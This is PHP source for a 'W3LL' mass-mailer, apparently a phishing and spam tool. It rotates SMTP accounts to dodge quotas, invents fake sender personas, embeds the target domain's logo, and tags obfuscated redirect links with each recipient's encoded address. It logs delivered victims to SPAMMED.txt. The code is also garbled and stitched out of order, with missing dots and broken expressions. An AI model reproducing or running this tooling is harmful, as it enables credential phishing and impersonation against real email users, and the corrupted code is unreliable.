                {
                    case 1:
                        $subjects = '=?Windows-1254?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 2:
                        $subjects = '=?ISO-8859-1?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 3:
                        $subjects = '=?UTF-8?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    default:
                        $subjects = '=?Windows-1252?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                }
            }
            else
            {
                $mail->Subject = $subjects;
            }
          
            if ($W3LL_setup['filesend'] == 1) {
                $attch = file_get_contents($W3LL_setup['attach']);
                $attach = lettering($W3LL_setup['attach'], $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
                file_put_contents($W3LL_setup['attach'], $attach);
                $mail->AddAttachment($W3LL_setup['attach']);
            }
          
            if ($replacement == 1) {
                $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
            } else {
                $msg = file_get_contents($msgfile);
            }
            
            $mail->msgHTML($msg);

            if (!$mail->send()) {
                $err = 0;
                $halo = $mail->ErrorInfo;

                if (preg_match('/\bquota\b/',$halo))
                {
                    $err = 1;
                }
                

                if($err == 1)
                {
                    
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";
                    echo "\e[0m[\e[1;34m$email\e[0m] ";
                    echo " > [\e[0;31mFAIL - $smtptypez SMTP SEND QUOTA HAS LIMIT - NOT REMOVED\e[0m]\n";

                }
                else
                {
                    if ($W3LL_setup['userremoveline'] == 1) {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$email\e[0m] ";
                                echo " > [\e[0;31mEMAIL NOT VALID - REMOVED\e[0m]\r\n";

                        Savedata($W3LL_setup['mail_list'], trim(str_replace($email, "", file_get_contents($W3LL_setup['mail_list']))));
                        $file = fopen("INVALID.txt", "a+");
                        fwrite($file, "$email\n");
                        fclose($file);
                    }
                    else
                    {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                                echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    }
                    //
                }
            } else {
                
                        echo "     [\e[1;35m";
                        echo $num+1 ."\e[0m] ";
                        echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                        echo " to \e[96m$email\e[0m] [\e[92m✓\e[0m]\n";
                $file = fopen("SPAMMED.txt", "a");
                fwrite($file,"". $email." \r\n");
                fclose($file);
            }
            $mail->clearAddresses();

        } else {
            
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";;
                    echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                    echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    $file = fopen("FAILED.txt", "a");
            fwrite($file,"". $email." \r\n");
            fclose($file);
        }
    $smtp->quit(true);
}


    $dipake = 0;

    if(!is_file($W3LL_setup['mail_list'])) {
         echo "     [\e[0;31m MAILIST NOT FOUND - PLEASE CHECK YOUR MAILIST NAME !\e[0m ]\r\n";
         die();
    }

    $file = file_get_contents($W3LL_setup['mail_list']);

    if ($file) {
        $ext = explode("\n", $file);
       echo "                              [\e[36mTIME START \e[92m: " .date('H:i:s')."] ";
		echo " \r\n\r\n                                   \e[1;94m████████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mS\e[92mT\e[33mA\e[36mR\e[35mT \e[0m████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ████████████\e[0m\r\n";
        echo "\r\n";
      
        $smtp_key = 0;
        $rat = $W3LL_setup['ratio'];
        $crot = 0;
        $crotmax = count($ext) - 1;

        foreach ($ext as $num => $email) {

            if ($smtp_key == count($smtp_acc)) {
                $smtp_key = 0;
            }

                        $ahh = $ext[$crot];
            $w3ll_setup['fromname'] = $ahh;
            $crot++;
            if ($crot >= $crotmax){
                $crot = 0;
            }
            $rat--;
            if($rat == 0)
            {
                sleep($W3LL_setup['sleeptime']+1);
                $rat = $W3LL_setup['ratio'];
                echo "     \e[92m═══════\e[33;1mSEND $rat EMAIL WITH DELAY ".$W3LL_setup['sleeptime']." SECOND\e[92m═══════\e[0m\r\n";
            }
            RandNumber(5);
            //kirim
            $pid = pcntl_fork();

            if ($pid == -1) {
                exit("Error forking...\n");
            } else if ($pid == 0) {
                Kirim($email, $smtp_acc[$smtp_key], $W3LL_setup);
                
            }
            $dipake++;
            $smtp_key++;
            if ($W3LL_setup['userremoveline'] == 1) {
                unset($ext[$num]);
                Savedata($W3LL_setup['mail_list'], implode("\n", $ext));

            }
        }
		
        echo " \r\n\r\n                                   \e[1;94m███████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mD\e[92mO\e[33mN\e[36mE \e[0m█████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ███████████\e[0m\r\n";
		echo "\r\n ";
		echo "                             [\e[36mTIME DONE \e[92m: " .date('H:i:s')."] ";
        echo "\r\n";
    }

     
    error_reporting(0);
    include 'configphp';

    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\SMTP;
    use PHPMailer\PHPMailer\Exception;

    require 'setting/phpmailer/Exceptionphp';
    require 'setting/phpmailer/PHPMailerphp';
    require 'setting/phpmailer/SMTPphp';

//Updates..
system('clear');
echo("Checking updates...\n");

$version = 24;
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://w3llstoreco/api-updatephp?version='.$version);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Connection: keep-alive';
$headers[] = 'Cache-Control: max-age=0';
$headers[] = 'Upgrade-Insecure-Requests: 1';
$headers[] = 'User-Agent: Mozilla/50 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604138 (KHTML, like Gecko) Version/110 Mobile/15A372 Safari/6041';
$headers[] = 'Sec-Fetch-Mode: navigate';
$headers[] = 'Sec-Fetch-User: ?1';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=09,image/webp,image/apng,**;q=08';
    $headers[] = 'Accept-Encoding: gzip, deflate, br';
    $headers[] = 'Accept-Language: en-US,en;q=09';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close ($ch);

    return $result;
}

$checkval = checkValid($uToken);

function privateLHZ($replacement, $data, $opt = null) {
    
    $domain = "x";
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function privateLHZ1($replacement, $data, $opt = null) {
    
    $domain = "x";
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function RandString($randstr)
{
    $char = 'QWERTYUIOPASDFGHJKLZXCVBNM123456789';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function RandString1($randstr)
{
    $char = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;
};

function RandNumber($randstr)
{
    $char = '123456789';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function secret_mail($email)
{
    $em   = explode("@",$email);
    $name = implode(array_slice($em, 0, count($em)-1), '@');
    $len  = floor(strlen($name)/2);

    return substr($name,0, $len) . str_repeat('*', $len) . "@" . end($em);   
}

function download_image1($image_url, $image_file){
        $fp = fopen ($image_file, 'w+');              // open file handle

        $ch = curl_init($image_url);
        // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // enable if you want
        curl_setopt($ch, CURLOPT_FILE, $fp);          // output to file
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);      // some large value to allow curl to run for a long time
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/50');
        // curl_setopt($ch, CURLOPT_VERBOSE, true);   // Enable this line to see debug prints
        curl_exec($ch);

        curl_close($ch);                              // closing curl handle
        fclose($fp);                                  // closing file handle
}

function lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
                            
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuserme/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->"e"->gender;
            $w3ll_data_title = $data->"e"->name->title;
            $w3ll_data_first = $data->"e"->name->first;
            $w3ll_data_last = $data->"e"->name->last;
            $w3ll_data_street_number = $data->"e"->location->street->number;
            $w3ll_data_street_name = $data->"e"->location->street->name;
            $w3ll_data_city = $data->"e"->location->city;
            $w3ll_data_state = $data->"e"->location->state;
            $w3ll_data_country = $data->"e"->location->country;
            $w3ll_data_post_code = $data->"e"->location->postcode;
            $w3ll_data_latitude = $data->"e"->location->coordinates->latitude;
            $w3ll_data_longitude = $data->"e"->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->"e"->location->timezone->offset;
            $w3ll_data_timezone_description = $data->"e"->location->timezone->description;
            $w3ll_data_email = $data->"e"->email;
            $w3ll_data_uuid = $data->"e"->login->uuid;
            $w3ll_data_username = $data->"e"->login->username;
            $w3ll_data_password = $data->"e"->login->password;
            $w3ll_data_salt = $data->"e"->login->salt;
            $w3ll_data_md5 = $data->"e"->login->md5;
            $w3ll_data_sha1 = $data->"e"->login->sha1;
            $w3ll_data_sha256 = $data->"e"->login->sha256;
            $w3ll_data_dob_date = $data->"e"->dob->date;
            $w3ll_data_age = $data->"e"->dob->age;
            $w3ll_data_registered = $data->"e"->registered->date;
            $w3ll_data_phone = $data->"e"->phone;
            $w3ll_data_cell = $data->"e"->cell;
            $w3ll_data_id_name = $data->"e"->id->name;
            $w3ll_data_id_value = $data->"e"->id->value;
            $w3ll_data_picture_small = $data->"e"->picture->thumbnail;
            $w3ll_data_picture_medium = $data->"e"->picture->medium;
            $w3ll_data_picture_large = $data->"e"->picture->large;
            $w3ll_data_nat = $data->"e"->nat;
    }
    curl_close($ch);
  
    
    $user = "e";
    $user1 = ucwords(""e"");
    
    $domain = "x";
    $domains1 = explode(, $domain);
    $domain1 = ucwords (""e"");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://logoclearbitcom/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/50 (Windows NT 100; Win64; x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/7503770100 Safari/53736';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logoclearbitcom/$domain", "$domainjpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);


    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_user = explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    $host = "x";

    $host = explode(, $host);
    $host = "e";

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    
    

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "StHelena", "StPierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (US.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 81', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = file_get_contents($msgfile);
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . $host . '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . $domain . '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function subjecting($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuserme/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->"e"->gender;
            $w3ll_data_title = $data->"e"->name->title;
            $w3ll_data_first = $data->"e"->name->first;
            $w3ll_data_last = $data->"e"->name->last;
            $w3ll_data_street_number = $data->"e"->location->street->number;
            $w3ll_data_street_name = $data->"e"->location->street->name;
            $w3ll_data_city = $data->"e"->location->city;
            $w3ll_data_state = $data->"e"->location->state;
            $w3ll_data_country = $data->"e"->location->country;
            $w3ll_data_post_code = $data->"e"->location->postcode;
            $w3ll_data_latitude = $data->"e"->location->coordinates->latitude;
            $w3ll_data_longitude = $data->"e"->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->"e"->location->timezone->offset;
            $w3ll_data_timezone_description = $data->"e"->location->timezone->description;
            $w3ll_data_email = $data->"e"->email;
            $w3ll_data_uuid = $data->"e"->login->uuid;
            $w3ll_data_username = $data->"e"->login->username;
            $w3ll_data_password = $data->"e"->login->password;
            $w3ll_data_salt = $data->"e"->login->salt;
            $w3ll_data_md5 = $data->"e"->login->md5;
            $w3ll_data_sha1 = $data->"e"->login->sha1;
            $w3ll_data_sha256 = $data->"e"->login->sha256;
            $w3ll_data_dob_date = $data->"e"->dob->date;
            $w3ll_data_age = $data->"e"->dob->age;
            $w3ll_data_registered = $data->"e"->registered->date;
            $w3ll_data_phone = $data->"e"->phone;
            $w3ll_data_cell = $data->"e"->cell;
            $w3ll_data_id_name = $data->"e"->id->name;
            $w3ll_data_id_value = $data->"e"->id->value;
            $w3ll_data_picture_small = $data->"e"->picture->thumbnail;
            $w3ll_data_picture_medium = $data->"e"->picture->medium;
            $w3ll_data_picture_large = $data->"e"->picture->large;
            $w3ll_data_nat = $data->"e"->nat;
    }
    curl_close($ch);

    
    $user = "e";
    $user1 = ucwords(""e"");
    
    $domain = "x";
    $domains1 = explode(, $domain);
    $domain1 = ucwords (""e"");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://logoclearbitcom/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/50 (Windows NT 100; Win64; x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/7503770100 Safari/53736';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logoclearbitcom/$domain", "$domainjpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);

    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_user = explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    $host = "x";

    $host = explode(, $host);
    $host = "e";

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab 